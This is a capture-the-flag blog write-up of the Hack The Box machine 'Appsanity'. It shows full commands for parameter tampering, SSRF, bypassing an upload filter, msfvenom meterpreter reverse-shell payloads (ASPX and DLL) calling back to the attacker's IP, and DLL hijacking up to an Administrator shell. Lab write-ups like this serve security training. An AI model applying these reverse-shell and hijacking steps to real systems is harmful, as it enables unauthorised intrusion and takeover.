Skip to main content
  1. Posts/

Appsanity - HTB

·13 mins
htb dll-injection

As always, we begin with a port scan:

╰─ nmap -sC -sV 10.129.11.88             
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 16:12 CST
Nmap scan report for 10.129.11.88
Host is up (0.031s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://meddigi.htb/
|_http-server-header: Microsoft-IIS/10.0
443/tcp open  https?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.83 seconds

We are given a site called meddigi.htb that we can add to our hosts file and an IIS page on port 443.

If we look around the site for a while, we are able to make an account and when inspecting the account creation POST request it seems like we might be able to change a parameter called Acctype that is set to one by default:

appsanity-1

If we make an account and leave it like this, we have what seems to be a patient account which makes sense as the website seems to be for a medical services provider of some kind.

If we change the value of Acctype from one to two, we are given more capabilities on the site. For example, when we make our first account there is a section of the page that says: You currently have no supervising doctors. but when we make the new account with a different account type, we see the following:

appsanity-2

It seems like we were able to change our account permissions form that of a patient to a doctor, giving us the ability to add patients. We can message between patients and doctors, but this by itself doesn’t seem too useful, as the only accounts present are ones we created.

If we use Ffuf to look for subdomains, we will discover portal.meddigi.htb which we can add to our hosts file and find a login page.

╰─ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://meddigi.htb/" -H 'Host: FUZZ.meddigi.htb'

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://meddigi.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.meddigi.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

portal                  [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 2279ms]
:: Progress: [4989/4989] :: Job [1/1] :: 270 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

The issue with logging into this page is that it asks for something called a doctor reference number that we don’t seem to have.

In my testing I found that if we made a new doctor account and used the cookies when trying to access the new site, we were able to log in:

appsanity-3

One of the functionalities available on the site allows us to issue prescriptions by including an email address and a link. I decided to see if it would reach out to my server when I provided my own IP in the link field:

appsanity-4

This worked and I got a GET request back on my listener:

╰─ nc -lvp 1234             
listening on [any] 1234 ...
connect to [10.10.14.10] from meddigi.htb [10.129.11.88] 61898
GET / HTTP/1.1
Host: 10.10.14.14:1234
traceparent: 00-7db807b2ae54148d5ab099d327be9fa0-3bd166f0ddce6e15-00

This by itself doesn’t really tell me much information, when I try to use http://127.0.0.1, it renders the profile page from earlier in the link preview window.

I had to reach out for help at this point and was told to investigate port 8080 and see if there is any potential SSRF we could pull off.

When we try to query port 8080 from the link section, we are able to see that a new file and prescription is referenced:

appsanity-5

When we utilize the Upload Report functionality, we are able to see those results here as well:

appsanity-6

When we inspect the file upload function, it seems to only sanitize based on a few bytes at the beginning of the file to verify that the uploaded file is a PDF:

appsanity-7

This uploaded file also shows up in the list from earlier. Let’s put these pieces together:

  • We can upload a file of any type
  • We can use SSRF to fetch that file once uploaded

Given these two characteristics of the web application, we can first upload a reverse shell script, use SSRF to get its file path, then use the same SSRF to execute it.

We can make our shell.aspx using msfvenom, making sure to use port 443 because some of the traffic on this endpoint seems to be really tedious to work with.

╰─ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.10 LPORT=443 -f aspx -o shell.aspx

Then, we can spin up metasploit and configure our listener:

╰─ msfconsole -q
msf6 > use /exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https

# set your LHOST and LPORT as needed, mine are 10.10.14.10 and 443 respectively. Use the run command when you're ready to start catching shells

Next, we can upload our shell.aspx file by capturing an upload of a PDF and changing the filename and form data accordingly:

appsanity-8

Then, go back to the Issue Prescriptions page and view the entry we just made:

appsanity-9

Now that we have the path for our malicious file, we just need to copy the link and use SSRF to access it. This way we have the privileges of whatever service is running on port 8080. You should get a link preview like this:

appsanity-10

Then in Metasploit we catch our shell if everything went according to plan:

msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.10.14.10:443
[!] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: hkzi0lpp) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: hkzi0lpp) Staging x64 payload (201820 bytes) ...
[*] Meterpreter session 2 opened (10.10.14.10:443 -> 10.129.37.80:56718) at 2024-01-15 21:40:41 -0600

meterpreter > getuid
Server username: APPSANITY\svc_exampanel
meterpreter >

One issue I ran into though is that this session seems to become invalidated or maybe our shell file gets deleted very quickly. Thankfully we can learn some post-exploitation tricks along the way here on making sure we have a more stable shell.

We can try out a module called migrate and a neat article here tells us all about it and how to use it. Before we migrate though we need a process we feel safe migrating to. We can use the execute module to start a program with a high integrity level using -H and use -f to specify the file program to run.

meterpreter > execute -H -f notepad
Process 2108 created.
meterpreter > migrate 2108
[*] Migrating from 5816 to 2108...
[*] Migration completed successfully.
meterpreter >

Now we don’t need to worry about our session dropping on us. After viewing the filesystem we were dropped into, it does appear like our shell.aspx file was removed and that is why our shell disappeared, but I am not totally sure how.

We can go to the service account’s Desktop and read the user flag:

meterpreter > ls
Listing: c:\Users\svc_exampanel\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  34    fil   2024-01-15 19:44:44 -0600  user.txt

If we look around on the machine, in the inetpub directory we can find some of the files used in the ExaminationPanel application:

meterpreter > ls
Listing: c:\inetpub\ExaminationPanel\ExaminationPanel\bin
=========================================================

Mode             Size     Type  Last modified             Name
----             ----     ----  -------------             ----
100666/rw-rw-rw  591752   fil   2023-09-24 10:46:11 -050  EntityFramework.SqlServer
-                               0                         .dll
100666/rw-rw-rw  4991352  fil   2023-09-24 10:46:13 -050  EntityFramework.dll
-                               0
100666/rw-rw-rw  13824    fil   2023-09-24 10:46:10 -050  ExaminationManagement.dll
-                               0
100666/rw-rw-rw  40168    fil   2023-09-24 10:46:10 -050  Microsoft.CodeDom.Provide
-                               0                         rs.DotNetCompilerPlatform
                                                          .dll
100666/rw-rw-rw  206512   fil   2023-09-24 10:46:11 -050  System.Data.SQLite.EF6.dl
-                               0                         l
100666/rw-rw-rw  206520   fil   2023-09-24 10:46:11 -050  System.Data.SQLite.Linq.d
-                               0                         ll
100666/rw-rw-rw  431792   fil   2023-09-24 10:46:11 -050  System.Data.SQLite.dll
-                               0
040777/rwxrwxrw  24576    dir   2023-09-24 10:49:49 -050  roslyn
x                               0
040777/rwxrwxrw  0        dir   2023-09-24 10:49:49 -050  x64
x                               0
040777/rwxrwxrw  0        dir   2023-09-24 10:49:49 -050  x86
x                               0

We can download these .dll files to our machine and take a look at them on dnSpy or some other .NET decompiler. It takes a long time of looking around but eventually we will find something worth investigating:

appsanity-11

The function name nearly says it all, but this will grab an encryption key from the registry on the machine. The registry basically stores a bunch of configuration settings and important information needed for the OS to function.

Not really the best place to be keeping encryption keys but I’m no developer. We can go ahead and read these using the reg command in CMD. All we need to do is use the meterpreter to drop us in a shell and we can see the key:

meterpreter > shell
Process 5772 created.
Channel 2 created.
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

c:\inetpub\ExaminationPanel\ExaminationPanel\bin>reg query HKLM\Software\MedDigi   
reg query HKLM\Software\MedDigi

HKEY_LOCAL_MACHINE\Software\MedDigi
    EncKey    REG_SZ    1g************!

This doesn’t really look like a great key, it is just some leet-speak password. I was confused on what to do from here and another CTF player thankfully have me the hint to just try and use it as a password for another user.

Why didn’t I think of that…

Looking at the C:\Users directory gives us a list of names:

meterpreter > ls
Listing: c:\Users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  8192  dir   2023-10-18 20:08:02 -0500  Administrator
040777/rwxrwxrwx  0     dir   2019-12-07 03:30:39 -0600  All Users
040555/r-xr-xr-x  8192  dir   2023-09-15 18:52:26 -0500  Default
040777/rwxrwxrwx  0     dir   2019-12-07 03:30:39 -0600  Default User
040555/r-xr-xr-x  4096  dir   2023-09-15 08:59:56 -0500  Public
100666/rw-rw-rw-  174   fil   2019-12-07 03:12:42 -0600  desktop.ini
040777/rwxrwxrwx  8192  dir   2023-09-24 13:16:51 -0500  devdoc
040777/rwxrwxrwx  8192  dir   2023-10-18 20:40:06 -0500  svc_exampanel
040777/rwxrwxrwx  8192  dir   2023-10-17 17:05:07 -0500  svc_meddigi
040777/rwxrwxrwx  8192  dir   2023-10-18 21:10:39 -0500  svc_meddigiportal

We can use this to log in with evil-winrm as the devdoc user and keep looking around. One of the directories we did not have access to as the svc_exampanel user was the C:\Program Files\ReportManagement directory.

*Evil-WinRM* PS C:\Program Files\ReportManagement> ls


    Directory: C:\Program Files\ReportManagement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/23/2023  11:33 AM                Libraries
-a----          5/5/2023   5:21 AM          34152 cryptbase.dll
-a----          5/5/2023   5:21 AM          83744 cryptsp.dll
-a----         3/11/2021   9:22 AM         564112 msvcp140.dll
-a----         9/17/2023   3:54 AM         140512 profapi.dll
-a----        10/20/2023   2:56 PM         102912 ReportManagement.exe
-a----        10/20/2023   1:47 PM       11492864 ReportManagementHelper.exe
-a----         3/11/2021   9:22 AM          96144 vcruntime140.dll
-a----         3/11/2021   9:22 AM          36752 vcruntime140_1.dll
-a----          5/5/2023   5:21 AM         179248 wldp.dll

We can start with more reverse engineering of the executables here. I opted to use Ghidra for this step but any decompiler will do. It took me forever to find something I could wrap my head around but eventually found a larger function with what looked like a help menu:

appsanity-12

It seems like some of the program options allow us to upload, validate, and backup reports. The upload function seems most interesting because it seems to allow us to reach out to an external source.

appsanity-13

It also seems like files added are manipulated in the Administrator user’s directory, which to me implied that this program is running with some elevated privileges or something similar.

appsanity-14

It seems like when files are uploaded they are placed in this Libraries directory before they are actually used.

appsanity-15

This shows some file called externalupload that maybe seems to be a .dll but I’m not great at understanding assembly or really using Ghidra. I began looking for anything about DLLs because it seemed like a good idea at the time.

appsanity-16

This seems to verify my suspicions that there was at least something doing on with DLLs. It seems like one is used when uploading to a remote source because in a few other places in the assembly we see memory labeled as DLLs being cleared.

So, what can I even make of all of this?

After pondering and some help from other community members, I was able to think up something that at least was convincing enough for me.

This program must be reaching out to some other machine to upload documents in some way. There is a file that seems to be related to this process because of its name externalupload and its location in the Libraries directory.

The application seems to be reaching out on port 100 as we can see by using our very first shell:

meterpreter > netstat -anob

Connection list
===============

    Proto  Local addr  Remote add  State       User  Inode  PID/Program name
           ess         ress
    -----  ----------  ----------  -----       ----  -----  ----------------
    tcp    0.0.0.0:80  0.0.0.0:*   LISTEN      0     0      4/System
    tcp    0.0.0.0:10  0.0.0.0:*   LISTEN      0     0      4260/ReportManagement.exe
---SNIP---

So the application is seemingly sending a command prompt instance running this program to the specified port on the local machine.

Well, we know that this is running with the admin’s level of privilege and it gets this DLL from the Libraries directory, so let’s see if we can write there:

*Evil-WinRM* PS C:\Program Files\ReportManagement> icacls Libraries
Libraries APPSANITY\devdoc:(OI)(CI)(RX,W)
          BUILTIN\Administrators:(I)(F)
          CREATOR OWNER:(I)(OI)(CI)(IO)(F)
          NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
          BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
          BUILTIN\Users:(I)(OI)(CI)(R)
          NT SERVICE\TrustedInstaller:(I)(CI)(F)
          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(RX)
          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

Well it does look like we have read (RX) and write (W) permissions on this directory and this is where that DLL is supposed to be, but the directory was empty at the first glance.

This is where a blog post by notchxor came in handy for me when learning about DLL hijacking and how to perform it.

We already fill the conditions of having a process without a DLL so we can make a malicious one, upload it there and use the upload functionality in the application to trigger it, hopefully getting us our shell.

We can use meterpreter to forward a port instead of fiddling around with chisel:

meterpreter > portfwd add -l 7777 -p 100 -r 127.0.0.1

Then we can make our malicious DLL:

╰─ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.10 LPORT=443 -f dll -o externalupload.dll

We can then upload it using evil-winrm like this:

*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> upload externalupload.dll

Then on our listener on port 7777, we will get access to the reports management console where we need to run the upload command to get the program to use our malicious DLL from the Libraries directory:

╰─ nc 127.0.0.1 7777
Reports Management administrative console. Type "help" to view available commands.
upload externalupload.dll
Attempting to upload to external source.

Then in metasploit, you should get a shell from the administrator, you’ll need to do the same migration we did earlier if you want to have this shell for long:

msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.10.14.10:443
[!] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: ozhwbmjo) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: ozhwbmjo) Staging x64 payload (201820 bytes) ...
[!] https://10.10.14.10:443 handling request from 10.129.37.80; (UUID: ozhwbmjo) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 3 opened (10.10.14.10:443 -> 10.129.37.80:56745) at 2024-01-15 22:55:51 -0600

meterpreter > execute -H -f notepad
Process 284 created.
meterpreter > migrate 284
[*] Migrating from 3568 to 284...
[*] Migration completed successfully.
meterpreter > getuid
Server username: APPSANITY\Administrator
meterpreter > 

Now you can just go to the administrator’s desktop and read the flag.

Related

Manager - HTB
·9 mins
htb
As always, we will start off with a port scan: ╰─ nmap -sC -sV 10.
Drive - HTB
·7 mins
htb
To read this post, enter the root user’s password hash ("$6…k1"). We start off with a port scan:
Analytics - HTB
·3 mins
htb
We start by scanning for open ports: ╰─ nmap -sC -sV 10.129.187.65 Starting Nmap 7.